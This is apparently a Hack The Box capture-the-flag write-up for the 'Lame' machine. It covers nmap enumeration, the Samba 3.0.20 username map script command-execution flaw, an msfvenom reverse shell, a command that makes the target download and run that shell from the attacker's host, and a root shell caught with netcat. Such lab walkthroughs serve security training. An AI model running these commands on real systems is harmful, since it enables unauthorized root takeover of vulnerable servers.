

Lame

Enumeration

We start with an nmap scan:

```
sudo nmap -sC -sV -oN nmap 10.129.241.131
```

- -sC: Run service scripts
- -sV: Enumerate service versions
- -oN: Save output in plain-text
- 10.129.241.131: Target IP

```
(isac@kali)-[~/HTB/TJNull/Lame/recon]
$ grep open nmap
21/tcp open  ftp          vsftpd 2.3.4
22/tcp open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
```

Nmap identified 4 ports on the target host:

- 21: FTP - vsftpd 2.3.4
- 22: SSH - OpenSSH 4.7p1
- 139: NetBIOS-SSN - Samba smbd 3.X - 4.X
- 445: SMB - Samba smbd 3.0.20-Debian

Initial Access

The nmap output reveals low service versions, which suggests that the remote host may have inadequate patching and updating practices for their network infrastructure. As a result, there is a heightened risk of severe vulnerabilities being present on the system

These service versions can be looked up on public databases such as ExploitDB for any potential working exploits:

```
(isac@kali)-[~/HTB/TJNull/Lame/recon]
$ searchsploit samba 3.0.20
```

Exploit Title	Path
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass	multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)	unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow	linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)	linux_x86/dos/36741.py

```
Shellcodes: No Results
Papers: No Results
```

```
searchsploit samba 3.0.20
```

We can see from the searchsploit output that Samba version 3.0.20 through 3.0.25rc3 is vulnerable to command execution. Because the Samba daemon runs with root privileges, it is very likely that this will lead to code execution under the context of the root user.

According to online resources, this vulnerability occurs due to improper sanitation of user input. If the non-default username map script configuration option is enabled, an attacker can include shell meta characters in their username to execute arbitrary code.

This vulnerability is especially severe as it occurs before the user has authenticated, making it a Pre-Authenticated or Unauthenticated vulnerability. In addition to this, it also gives the attacker code execution under the context of the root user, effectively giving them full control of the underlying operating system.

Armed with this information, we download an proof of concept exploit and run it against our target.

```
wget https://raw.githubusercontent.com/Ziemni/CVE-2007-2447-in-Python/master/smbExploit.py
pip install pysmb --user
```

Before attempting to get a reverse shell, we should confirm the execution of code by making the server communicate with us. A good way of doing this is sending ping packets from the remote host to us, and catching it using tcpdump.

```

(isac@kali)-[~/HTB/TJNull/Lame/exploit]
$ python smbExploit.py 10.129.241.131 139 'ping -c4 10.10.14.59'
[*] Sending the payload
[*] Payload was send successfully

(isac@kali)-[~/HTB/TJNull/Lame/exploit]
$ 

```

```

(isac@kali)-[~/HTB/TJNull/Lame/exploit]
$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:46:33.940687 IP 10.129.241.131 > 10.10.14.59: ICMP echo request, id 37911, seq 1, length 64
15:46:33.940702 IP 10.10.14.59 > 10.129.241.131: ICMP echo reply, id 37911, seq 1, length 64
15:46:34.956998 IP 10.129.241.131 > 10.10.14.59: ICMP echo request, id 37911, seq 2, length 64
15:46:34.957013 IP 10.10.14.59 > 10.129.241.131: ICMP echo reply, id 37911, seq 2, length 64
15:46:35.966843 IP 10.129.241.131 > 10.10.14.59: ICMP echo request, id 37911, seq 3, length 64
15:46:35.966856 IP 10.10.14.59 > 10.129.241.131: ICMP echo reply, id 37911, seq 3, length 64
15:46:36.976497 IP 10.129.241.131 > 10.10.14.59: ICMP echo request, id 37911, seq 4, length 64
15:46:36.976506 IP 10.10.14.59 > 10.129.241.131: ICMP echo reply, id 37911, seq 4, length 64

```

```

python smbExploit.py 10.129.241.131 139 'ping -c4 10.10.14.59'
sudo tcpdump -i tun0 icmp

```

We get a callback, and can safely proceed with the exploitation.

All we have to do now is generate a reverse payload using `msfvenom` and upload and execute it on remote host:

```

msfvenom -p linux/x86/shell_reverse_tcp LHOST=tun0 LPORT=139 -f elf -o shell
python smbExploit.py 10.129.241.131 139 'wget 10.10.14.59/shell -O /tmp/shell && chmod 755 /tmp/shell && /tmp/shell'

```

We choose port `139` as our `LPORT` because it is more likely to be allowed on the remote hosts firewall.

Set up a listener and catch the reverse shell:

```

(isac@kali)-[~/HTB/TJNull/Lame/exploit]
$ nc -nvlp 139
listening on [any] 139 ...
connect to [10.10.14.59] from (UNKNOWN) [10.129.241.131] 55910
id
uid=0(root) gid=0(root)

```

With a shell as the `root` user, we have completed the box and can read the `user.txt` and `root.txt` flag.

```
cat /root/root.txt  
cat /home/makis/user.txt
```

Conclusion

Fun fact: This is one of the first boxes ever released on HackTheBox, if not the first!

This box has a very simple and straight-forward structure, meant to give a basic intro for traditional penetration-testing. For those who are new in penetration-testing, this is a really good box to do.

Skills we've used and/or learned:

- Basic Service Enumeration and Reconnaissance with `nmap`
- Vulnerability Assessment with `nmap` and `searchsploit`
- Vulnerability Exploitation using public scripts from `GitHub` and payload generation with `msfvenom`
- Basic Critical Thinking: We knew that the remote host was likely vulnerable, and that we were going to get code execution as `root`
